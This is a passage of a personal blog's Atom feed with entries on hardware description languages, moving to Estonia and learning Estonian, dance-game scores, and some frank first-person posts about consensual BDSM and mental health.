&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: pink&quot;&gt;HamSandwich&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; data that&#39;s being read from or written to memory 👀&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: green&quot;&gt;pestopasta&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;opacity: 0.6&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: pink&quot;&gt;HamSandwich&lt;/span&gt; Yea. How do you manage 128 bits though. That&#39;s a lot&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: pink&quot;&gt;HamSandwich&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; They are written to and from caches via the cache controller, not the core. The core has a maximum of 32-bit access.&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: orange&quot;&gt;Rice&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&quot;opacity: 0.6&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: green&quot;&gt;pestopasta&lt;/span&gt; ...the same way you handle 32 or 64 bits of data, just double or quadruple?&lt;br&gt;
&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: green&quot;&gt;pestopasta&lt;/span&gt;&lt;span style=&quot;opacity: 0.6&quot;&gt;&amp;gt;&lt;/span&gt; I don&#39;t know what you mean. Is there a video explaining this?
&lt;/code&gt;</content>

  </entry>

  <entry>
    <title>Amaranth to Chisel</title>
    <updated>2024-05-09T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/05/09/amaranth-to-chisel</id>
    <link href="https://lottia.net/notes/0007-amaranth-to-chisel.html" />

    <content type="html">Learning your second HDL is kinda like learning your second programming language. Or just learning your second language.</content>

  </entry>

  <entry>
    <title>Post-vaccination advice by country</title>
    <updated>2024-05-03T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/05/03/post-vaccination-advice-by-country</id>
    <link href="https://kivikakk.ee/2024/05/03/post-vaccination-advice-by-country" />

    <content type="html">&lt;p&gt;As dispensed by the vaccinating staff:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Australia: Now, no heavy lifting for a few hours!&lt;/li&gt;
&lt;li&gt;Estonia: Mm.. probably better not to go in sauna today.&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>Volbripäev</title>
    <updated>2024-05-01T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/05/01/volbripäev</id>
    <link href="https://kivikakk.ee/2024/05/01/volbripäev" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://kivikakk.ee/eesti/2024/04/29/naming/&quot;&gt;Never mind that&lt;/a&gt;, lol. I have to update my Estonian documents to match
my Australian ones for my partner’s immigration, so back to Ashe it is!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Naming</title>
    <updated>2024-04-29T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/04/29/naming</id>
    <link href="https://kivikakk.ee/2024/04/29/naming" />

    <content type="html">&lt;p&gt;Noting that, having moved (“returned!”) to Estonia, I’m going by Amelia (or Amy)
again, since it’s the name on all my documentation here.
&lt;a href=&quot;https://s3.hrzn.ee/kvp/eesti/head-isu.jpg&quot; title=&quot;Photo of a power distribution box, with graffiti art of a very long, splotchy, odd looking dog, and the text &#39;Head isu! #14&#39; above it.&quot;&gt;Head isu!&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Continued nyõnks</title>
    <updated>2024-04-18T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/04/18/continued-nyonks</id>
    <link href="https://kivikakk.ee/2024/04/18/continued-nyonks" />

    <content type="html">&lt;p&gt;It’s been a week since I last wrote. Some more little bits and pieces.&lt;/p&gt;
&lt;p&gt;The DPDR/dissociation has become even bit worse; somehow still keeping it
together. Watching The Princess Bride with Annie last night helped.&lt;/p&gt;
&lt;p&gt;Miscellany:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Presented to the Police and Border Guard Board office to renew my ID card. Sat
down in front of the worker once my number was called and asked, “kas te
räägite inglise keelt?” (do you speak English?). With almost a tinge of pride,
she replied, “ei!” (no!). It took everything in me not to &lt;a href=&quot;https://youtu.be/CgjMfaQ94Co?si=Qig3i8dlKwjSIOC3&amp;amp;t=117&quot;&gt;burst out
laughing&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There’s an oddity in that I can pronounce Estonian very well, despite not
really knowing much of it (i.e. reading out text, like from a menu or Google
Translate or whatever, I sound semi-native, but actually producing that text
myself I’m nowhere near yet). This makes for fun situations.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We have a new home :) An r/eesti comment mentioned someone once found an
apartment in Tallinn on day 5 and was moved in by day 7. That was encouraging,
if a little unrealistic-seeming. But nope: we inspected ours on day 4 (!), and
moved in on day 8. Now we can ship our boxes from Australia.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Food’s so nice here.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sure it’s 2° outside, that’s no problem, but then you walk into any building
and it’s 22° and you’re shedding layers as fast as you can. Other people just
seem not to?! I don’t get it.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The worst part for me is that, even with all our apartment floor-heating
turned “off” (or as off as you can, which is to say, the set point is set
lower than the actual point), we’re on the top of the building, so it’s over
20° regardless. This is troublesome at night, and the street noise might be
a bit much to open the windows, but using the aircon when it’s below zero
outside feels a bit …&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Also, sharing a bedroom for the first time in so many years is a strange
experience, like I’m cosplaying being a different kind of adult.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Public transport’s so nice here — it’s already happened that we’ve taken
train+bus+tram all in the one day just out of convenience.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Not that I’ve worked out how to get the free transit for locally-registered
residents working on my Ühiskaart yet.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Is it only on TLT-operated busses? Is that it?? The information’s all very
vague.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DISREGARD THAT I S—eem to have gotten it on a further attempt with the
card reader.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It just started snowing!?!!?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://s3.hrzn.ee/kvp/eesti/juustuga.png&quot; title=&quot;Screenshot of a food delivery app, automatically translated from Estonian.
The section header is &#39;With justice&#39;, and the options are &#39;Without cheese&#39; and
&#39;With justice&#39;.&quot;&gt;Without cheese or with justice?&lt;/a&gt; (&lt;a href=&quot;https://en.wiktionary.org/wiki/juust#Estonian&quot;&gt;juust&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>Early nyõnks</title>
    <updated>2024-04-11T00:00:00Z</updated>
    <id>https://kivikakk.ee/eesti/2024/04/11/early-nyonks</id>
    <link href="https://kivikakk.ee/2024/04/11/early-nyonks" />

    <content type="html">&lt;p&gt;We’ve been in the country a little over two days now. It’s been one of the most
serene times of my life, and even the flights from Australia seemed to pass in
an instant.&lt;/p&gt;
&lt;p&gt;This is in some part due to intense derealisation, but as uncanny as life has
seemed for months now, I can’t say I hate it — I’ve been able to do so many
things without crushing anxiety killing it, whether due to COVID or whatever
else. (Not that the skin on my face is recovered yet from the 30 hours of
wearing an elastomeric respirator.)&lt;/p&gt;
&lt;p&gt;Some fun moments and things I don’t want to forget:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We had 6 hours to kill between getting out of Tallinn airport and our
temporary accommodation becoming available to us. We walked around the Old
Town after storing our bags, still wearing the clothes from our flights. I had
on a plain blue dress and black knee-high compression socks, and didn’t
realise quite how I looked until we spotted two men, bottles in hand and
visibly drunk, who spotted us in turn and called out to me, “Гермааааания!
Айайайайяаа!”, and all four of us were laughing.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://s3.hrzn.ee/kvp/eesti/thisguy.jpg&quot; title=&quot;A photograph of an ape (?)
sculpture (??) painted bright red, sitting in the front garden of some house.
A large EU flag is visible hanging on an adjacent property.&quot;&gt;This guy&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://s3.hrzn.ee/kvp/eesti/thisgirl.jpg&quot; title=&quot;A photograph of Annie
standing in front of a wall covered in various graffiti, herself right next to
a pretty flower in red and white. Also visible is &#39;follow sheep, not the
state&#39; next to an anarchist circle-A symbol. In the background are trees
(without leaves yet) and tourists.&quot;&gt;This girl&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Beer and cider at 3pm in an upstairs nook of a café with no-one in it but us
(still waiting for our accommodation to become available). The owner came up
and gave us some cake that was left-over from a birthday party.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Walking to the Rimi express on my own first thing in the morning to get cereal
and &lt;del&gt;milk&lt;/del&gt; oat drink. I feel so calm here.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Bike riding to Rocca al Mare :) We took panniers and had probably the nicest
and most “successful” shopping experience of my life. (warm clothes for the
new climate!)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;NEXT TIME HIRING A MOUNTAIN BIKE, PLEASE, “CITY BIKES” ARE A GRIFT&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vapiano vegan chicken pastaaaaaaaaa, next time I will take much more bread&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Going from straight-up pre-emptive “Inglise keel?” at the beginning of
exchanges with service staff to full Estonian in the course of a day, and just
hoping I was guessing the questions right when I didn’t know the operative
words. (usually assuming it’s “do you have a membership with us?”, since “ei
ole” seems to get me through …)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We were having a sit in the square after exploring the new town today,
people-watching, when we noticed a group of younger Russian girls having fun,
chasing pigeons, etc. After a while, I began to notice the most adventurous
one tracing out a circuitous path from their spot under the town hall over to
us, inverted phone in hand, ready to record an exchange.&lt;/p&gt;
&lt;p&gt;Without much ado, she finally came over and sat down right next to me, holding
her phone up and asking something in somewhat-shy-and-therefore-mumbled
Russian. I just said “Что?”, and even more embarrassed she repeated her
question. I got the gist of it and first said “Я не знаю русский.. English?”
She haltingly replied, “m-maybe?”, and so I finally answered her question and
said “Half-half”, using a gesture to reinforce the meaning.&lt;/p&gt;
&lt;p&gt;The question was if I was a boy or a girl, which is a pretty common one when
I’ve been overseas. She then apologised and said she didn’t mean to be rude,
and that she thought it was a totally fine thing to be different and not at
all a problem here, and I made sure she knew I didn’t mind the question at
all! It was pretty daring of her to just come over and ask; I think she and
her friends must’ve been observing us two as much as we had been watching
them. It was a really nice exchange across cultures and generations.&lt;/p&gt;
&lt;p&gt;(I only realised once home that I was wearing a &lt;a href=&quot;https://transjustice.org.au/&quot;&gt;Trans Justice
Project&lt;/a&gt; T-shirt underneath my coat! Missed
opportunity.)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tomorrow we take a train trip out to Narva so I can renew my ID card, explore
there for a day, and then get back in time for an evening inspection of what
might be our future home. Fingers crossed :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Literate pickle</title>
    <updated>2024-04-03T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/04/03/literate-pickle</id>
    <link href="https://kivikakk.ee/2024/04/03/literate-pickle" />

    <content type="html">&lt;p&gt;I’ve been deleting hundreds of accounts and cleaning up many more while
preparing for the move, and I found I have an npm account with one (1)
package, last published May 2012 (!): &lt;a href=&quot;https://www.npmjs.com/package/allium&quot;&gt;allium&lt;/a&gt;,
a parser for the &lt;a href=&quot;https://en.wikipedia.org/wiki/Cucumber_(software)#Gherkin_language&quot;&gt;“Gherkin” syntax&lt;/a&gt;
used to define Cucumber BDD tests, back when that was all the rage.&lt;/p&gt;
&lt;p&gt;The README captured by npm refers to the literate source code as once published
on GitHub Pages. That was long ago, but I figured it might be fun to look at
again. And it is! Have look: &lt;a href=&quot;https://f.hrzn.ee/allium/&quot;&gt;https://f.hrzn.ee/allium/&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Eesti keele abilised</title>
    <updated>2024-03-25T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/03/25/eesti-keele-abilised</id>
    <link href="https://kivikakk.ee/2024/03/25/eesti-keele-abilised" />

    <content type="html">&lt;p&gt;Here’s a little tool I’ve made to help my partner and I while learning Estonian.
Very much nothing special, but I’ll hopefully find more resources to add to it
over time!&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://eka.kivikakk.ee&quot;&gt;Eesti keele abilised&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;(Previously on this topic: &lt;a href=&quot;https://kivikakk.ee/estonian/2016/04/18/estonian-morphology-guide-mirror.html&quot;&gt;Estonian Morphology Guide
(mirror)&lt;/a&gt;.
I no longer collect analytics on my site, but when I did it was consistently one
of the most-visited parts of it, presumably because the link broke at some
point. I’ve just found its new canonical home, though, so I’ve updated the
link!)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>lottia notes</title>
    <updated>2024-01-03T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/01/03/lottia-notes</id>
    <link href="https://kivikakk.ee/2024/01/03/lottia-notes" />

    <content type="html">&lt;p&gt;I’ve been writing notes on FPGA/digital design and Nix over at
&lt;a href=&quot;https://lottia.net/notes&quot;&gt;&lt;em&gt;lottia notes&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>Comrak on Akkoma</title>
    <updated>2024-01-02T00:00:00Z</updated>
    <id>https://kivikakk.ee/2024/01/02/comrak-on-akkoma</id>
    <link href="https://lottia.net/notes/0006-comrak-on-akkoma.html" />

    <content type="html">I&#39;ve barely touched Elixir before. How hard could shoving a Rust dependency into it be?</content>

  </entry>

  <entry>
    <title>Jambalam</title>
    <updated>2023-09-18T00:00:00Z</updated>
    <id>https://kivikakk.ee/2023/09/18/jambalam</id>
    <link href="https://lottia.net/notes/0005-jambalam.html" />

    <content type="html">Have it your way.</content>

  </entry>

  <entry>
    <title>Happy birthday!</title>
    <updated>2023-08-23T00:00:00Z</updated>
    <id>https://kivikakk.ee/2023/08/23/happy-birthday</id>
    <link href="https://lottia.net/notes/0004-happy-birthday.html" />

    <content type="html">It&#39;s always your birthday!</content>

  </entry>

  <entry>
    <title>Nix revisited</title>
    <updated>2023-07-15T00:00:00Z</updated>
    <id>https://kivikakk.ee/2023/07/15/nix-revisited</id>
    <link href="https://lottia.net/notes/0003-nix-revisited.html" />

    <content type="html">An unsystematic collection of thoughts while adopting Nix.</content>

  </entry>

  <entry>
    <title>Untangling cycles</title>
    <updated>2023-06-29T00:00:00Z</updated>
    <id>https://kivikakk.ee/2023/06/29/untangling-cycles</id>
    <link href="https://lottia.net/notes/0002-untangling-cycles.html" />

    <content type="html">Wherein the author perceives time in multiple lights, simultaneously, and logic does too, but, uh, differently.</content>

  </entry>

  <entry>
    <title>Installing an HDL toolchain from source</title>
    <updated>2023-06-27T00:00:00Z</updated>
    <id>https://kivikakk.ee/2023/06/27/hdl-toolchain-source</id>
    <link href="https://lottia.net/notes/0001-hdl-toolchain-source.html" />

    <content type="html">A fairly detailed guide on building and installing a gateware toolchain in a self-contained and repeatable way.</content>

  </entry>

  <entry>
    <title>DDR the second!!</title>
    <updated>2021-08-16T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/08/16/ddr-the-second</id>
    <link href="https://kivikakk.ee/2021/08/16/ddr-the-second" />

    <content type="html">&lt;p&gt;Two weeks gets incremental improvements.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/moreonenight2.jpg&quot; alt=&quot;More One Night score (AAA 97.13%)&quot; /&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/badapple2.jpg&quot; alt=&quot;Bad Apple!! score (AAA 97.57%)&quot; /&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/danceallnight2.jpg&quot; alt=&quot;DANCE ALL NIGHT score (AAA 98.55%)&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>DDR</title>
    <updated>2021-08-02T00:00:00Z</updated>
    <id>https://kivikakk.ee/2021/08/02/ddr</id>
    <link href="https://kivikakk.ee/2021/08/02/ddr" />

    <content type="html">&lt;p&gt;Not much to report lately.  DDR continues to be fun, though I think given these
timings I’m past due for replacing the control board in the pad so I can get
better than 8ms resolution on steps.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/moreonenight.jpg&quot; alt=&quot;More One Night score (AA 97.13%)&quot; /&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/badapple.jpg&quot; alt=&quot;Bad Apple!! score (AAA 96.65%)&quot; /&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/danceallnight.jpg&quot; alt=&quot;DANCE ALL NIGHT score (AAA 98.34%)&quot; /&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>vision</title>
    <updated>2021-06-23T00:00:00Z</updated>
    <id>https://kivikakk.ee/kwasticat/2021/06/23/vision</id>
    <link href="https://kivikakk.ee/2021/06/23/vision" />

    <content type="html">&lt;p&gt;Today’s been hard. My autistic tendencies have flared up — perhaps from
overworking myself these past few days — and made communication with Miss I.
difficult.&lt;/p&gt;
&lt;p&gt;We cleared up heavy matters in the afternoon, but this evening I started to find
myself talking in loops again, until Isabelle finally interrupted me.&lt;/p&gt;
&lt;p&gt;Putting one hand on my knee and looking straight at me, she got my attention and
said plainly: “I ban you from speaking.”&lt;/p&gt;
&lt;p&gt;For the next ten minutes, I felt my mind slowly unspool.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>christening</title>
    <updated>2021-06-22T00:00:00Z</updated>
    <id>https://kivikakk.ee/kwasticat/2021/06/22/christening</id>
    <link href="https://kivikakk.ee/2021/06/22/christening" />

    <content type="html">&lt;p&gt;I’ve not known myself to be the kind of person to crave submissive humiliation
or punishment. But as I made progress in what you might call my personal
&lt;a href=&quot;https://slaveshae.wordpress.com/2021/04/26/finding-your-submissive-self/&quot;&gt;submissive inventory&lt;/a&gt;,
others’ writings — and their emphasis on the importance of these aspects — led
me to wonder whether or not I’ve ever even quite experienced these. How can you
know if you want something or not if you’ve never felt it? I set to find out.&lt;/p&gt;
&lt;p&gt;Miss Isabelle set me the goal of not picking at or biting my fingernails.
This is truly harder than you might expect — despite being a grown woman, it’s
something I’ve struggled with my whole life. No amount of encouragement, reward,
or disincentive successfully turned me off the habit as a child or teenager,
and repeated attempts later in life always ended in lasting failure. I much
&lt;em&gt;prefer&lt;/em&gt; having long nails, but there’s three decades of neural pathways to
fight against.&lt;/p&gt;
&lt;p&gt;We’re evaluating my performance on a weekly basis, and at the end of the first
week she’d caught me biting or picking at my fingernails two or three times. I
really enjoy pain, so this was always going to be an uphill battle, but Isabelle
wanted to determine if a regular spanking (with implements) might have the
desired effect anyway, if there was enough force and no warm up.&lt;/p&gt;
&lt;p&gt;What &lt;em&gt;is&lt;/em&gt; the desired effect? When I pick at or bite my nails, it’s not a
decision I make consciously; it happens entirely habitually, usually amplified
when I’m feeling anxious or unsettled. (There is probably some attachment model
or Freudian lens to apply here.) The punishment experience needs to be aversive
and &lt;em&gt;felt&lt;/em&gt; deeply enough that it sinks into my subconscious that this is
something we need to avoid; it needs to be pre-thought if it’s going to alter a
behaviour which itself is pre-thought.&lt;/p&gt;
&lt;p&gt;We found out pretty quickly that this kind of pain was not going to have an
impact. I’d recently had an experience where a particular kind of beating had
gotten me close to tears, and I feel like breaking down in tears is a signal
that something’s happening inside. It seemed like we couldn’t repeat that here.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The next week went very well for me. Isabelle was talking up the reward I’d be
getting for preserving my nails as we neared Sunday evening, but in the car that
morning as we talked her eyes suddenly widened at me, and I realised what I was
already doing.&lt;/p&gt;
&lt;p&gt;It so happened we were going to a kink store that afternoon, and while I
looked at the things I was there for, she busied herself looking at the hot
wax candles. I find wax a bit hard to deal with — the sharp heat can be a lot,
especially as the body warms — and have a fresh memory of two enthusiastic
Dommes dripping a candle each on me at the same time.&lt;/p&gt;
&lt;p&gt;I realised something was up when we went to pay and the girl behind the counter
asked, “you know this one is extra hot, right?”&lt;/p&gt;
&lt;p&gt;Isabelle laughed. “Oh yes, I know. How much hotter is it?”&lt;/p&gt;
&lt;p&gt;The cashier looked at me. “It certainly &lt;em&gt;feels&lt;/em&gt; hotter. It’s meant to be about 4
degrees more.”&lt;/p&gt;
&lt;p&gt;I must’ve visibly deflated. At the time I didn’t quite know how obvious the
arrangement was, but in retrospect, Isabelle was confident, and I was wearing a
collar. Welp.&lt;/p&gt;
&lt;p&gt;That evening after dinner, she had me set a towel out on the floor of the living
room and fetch a lighter.&lt;/p&gt;
&lt;p&gt;“I’m going to punish you now, for biting your nails. You were doing so well,
too, but I need you to know that my orders are to be followed. Take off all your
clothes, lie down on your front, and close your eyes.”&lt;/p&gt;
&lt;p&gt;I complied.&lt;/p&gt;
&lt;p&gt;I could hear her unwrapping the new candle, and I started to tremble.&lt;/p&gt;
&lt;p&gt;“This is going to be very hot. Tell me if it’s too much to bear.”&lt;/p&gt;
&lt;p&gt;Quietly, I started to panic a little bit. I heard her flick the lighter. I
waited what seemed like minutes but was probably less than ten seconds.&lt;/p&gt;
&lt;p&gt;“It takes a bit to melt. Okay, here it comes.”&lt;/p&gt;
&lt;p&gt;The first drip hit my back, searing hot. Before I could register it fully, the
next drip hit, and then the next, and I whimpered, trying to keep it together.&lt;/p&gt;
&lt;p&gt;She didn’t let up, and I could feel my body trembling, tears coming fully
unbidden. I’d never cried from wax before, but this was all so much; the heat so
much harder than anything I’d had to endure before.&lt;/p&gt;
&lt;p&gt;It can’t have been more than a minute or two before she stopped. I was shaking
from the tears, and — I kind of can’t believe this — but I can feel them coming
on again now, writing this up days later. I guess it really did sink in.&lt;/p&gt;
&lt;p&gt;It’s all the more surprising because it was at that point that she came down
to my level and brought the candle she used into view. It was purple. One she’s
used on me many times before. The new candle — black — was sitting proudly on
the coffee table, untouched.&lt;/p&gt;
&lt;p&gt;I laughed hard.&lt;/p&gt;
&lt;p&gt;She did end up trying the new, “extra hot” candle on me after that, and I
barely felt it! If anything, it felt less hot than the regular purple one. Maybe
post-fear endorphins masked the pain? In a feigned huff, Isabelle declared that
next time we were back at the kink store she’d report back to the girl I was
“too much of a slut to get hurt by it”.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;I’ve noticed, in the days since, a tiny moment of time opening up, a breath of
consciousness — the instant when one of my fingernails is pressed to another,
before any damage is done. The desired effect.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>flashes: end</title>
    <updated>2021-06-19T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/19/flashes-end</id>
    <link href="https://kivikakk.ee/2021/06/19/flashes-end" />

    <content type="html">&lt;p&gt;flashes: end&lt;/p&gt;
&lt;p&gt;Quoting “(un)monitored”:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I have no idea if anyone reads this. It &lt;em&gt;is&lt;/em&gt; linked from one of our blogs, but you have to look to even find that blog, let alone notice the link. […] On the other hand, &lt;em&gt;because&lt;/em&gt; of this, I am able to write more openly. If I knew I had any kind of readership at all, I might not write some things, or might write differently.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Unfortunately, the spell was broken; the wave function collapsed; the superposition observed; the duality reduced to one.  This girl always worked better in the in-betweens.&lt;/p&gt;
&lt;p&gt;A reader reached out and, though I was extremely flattered at first, now I can’t feel the same way about writing here.&lt;/p&gt;
&lt;p&gt;I was never meant to be someone in your story—I was meant to be an exhibit of open life, to be appreciated, not touched.&lt;/p&gt;
&lt;p&gt;Godspeed.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=-ZuyB-S-O9Q&quot;&gt;Dollscythe - Flashes (Extended)&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>dasein V</title>
    <updated>2021-06-18T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/18/dasein-v</id>
    <link href="https://kivikakk.ee/2021/06/18/dasein-v" />

    <content type="html">&lt;p&gt;For the third time in ten days, C has come over.&lt;/p&gt;
&lt;p&gt;It’s 1am and I’m sitting alone on my bed, in my slave’s quarters, such as they are.&lt;/p&gt;
&lt;p&gt;It’s been wholesome, honestly; we ordered food delivery and it never came, so the three of us went out for what was by then a very late dinner. N suddenly wanted ice cream, and it turned out we were 20 metres away from a great vegan gelato and ice cream place, so we had that to follow. Then, on the way back, a surprise drug test for the driver from the local police! Even though I don’t use cannabis regularly, and what I do use is a legitimate prescription, there was still some nerves wracked and a feeling of the three of us bonding while waiting for that result. Then we were on our way.&lt;/p&gt;
&lt;p&gt;Perhaps less wholesome: I’ve been fucked while wearing a &lt;em&gt;straitjacket&lt;/em&gt; now. N took photos and it is so goddamned hot. We look like we’re right out of some amazing kinky queer German porn. God damn.&lt;/p&gt;
&lt;p&gt;A wonderful night, and I’m so glad C was able to stay over.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>становление</title>
    <updated>2021-06-17T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/17/становление</id>
    <link href="https://kivikakk.ee/2021/06/17/становление" />

    <content type="html">&lt;p&gt;I really do struggle to maintain a positive connection with people who seem to idle as their default.&lt;/p&gt;
&lt;p&gt;This is at least partly a failing of mine; for so many people they simply don’t have the option of study or paid work. I &lt;em&gt;consciously&lt;/em&gt; recognise that many of the opportunities I’ve had are privileged ones, lucky, or both, but I wonder if subconsciously I don’t factor that in enough and still think — somewhere deep down — “well, I dealt with childhood trauma, an abusive marriage, a full-blown nervous breakdown, rape, bipolar/borderline diagnosis, and still have managed to be successful and independent since I turned 18, so why don’t they?”&lt;/p&gt;
&lt;p&gt;Again, I don’t like to think I believe that, but nonetheless people who have no life direction generate something like repulsion in me, so much so that my last major falling out with a friend was — on my part — kinda due to their having no goals or purposes in life.&lt;/p&gt;
&lt;p&gt;This ties in a little bit to generally wanting to be led, in my relationships. If someone doesn’t even lead their own, I don’t trust or respect them enough to have them lead mine; heck, not even enough to let them lead it the tiny bit that a normal, balanced friendship or relationship inevitably entails between two people, let alone as much as I’d like to.&lt;/p&gt;
&lt;p&gt;I think I want to be led because, generally speaking, I have my shit very sorted out. I am happy on my own, take care of myself fully, and can be left to my own devices indefinitely. I have my interests and I engage in communities relating to them comfortably. So if I’m going to be close to someone, it’s not really because I have a lot of things I’ve been waiting to show someone, or because I’ve been dying to let someone in close. I already do those things — such is the spot on the aro-spectrum I sit, where my proclivity for openness and truthfulness means I have closer and more romantic connections with friends than many do with their romantic partners.&lt;/p&gt;
&lt;p&gt;Instead, it’s because I want them to show me and take me places in the abstract space of (relational) possibility; to put me somewhere in their world and let me play into the role they’ve marked out for me. And to believe that’s possible, I need to see them starting with themselves first; to see them actually lead a role in a world that’s their own.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>命令</title>
    <updated>2021-06-16T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/16/命令</id>
    <link href="https://kivikakk.ee/2021/06/16/命令" />

    <content type="html">&lt;p&gt;Exhausted by Comirnaty #2, I’m on the couch in the living room today as N works at the desk nearby.&lt;/p&gt;
&lt;p&gt;At some point she got horny and commanded me over to take care of her. I’m a little impressed by her audacity, ordering me specifically as a sex slave while I’m nominally “sick” enough not to be working today.&lt;/p&gt;
&lt;p&gt;Later she mentioned in passing that it was actually C’s idea to have me do that. Jesus.&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>dasein IV</title>
    <updated>2021-06-15T00:00:00Z</updated>
    <id>https://kivikakk.ee/flashes/2021/06/15/dasein-iv</id>
    <link href="https://kivikakk.ee/2021/06/15/dasein-iv" />

    <content type="html">&lt;p&gt;We were visited by C again! Twice in five days. It would appear she’s rather keen. Some haphazard notes:&lt;/p&gt;
&lt;p&gt;This might be the most immature thing in the world, but after she left — I got back from vaccine appointment #2 around 5pm, we all started playing almost immediately, and she left by quarter-to-midnight — I put this on the TV:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=lQlIhraqL7o&quot;&gt;https://www.youtube.com/watch?v=lQlIhraqL7o&lt;/a&gt;&lt;/p&gt;
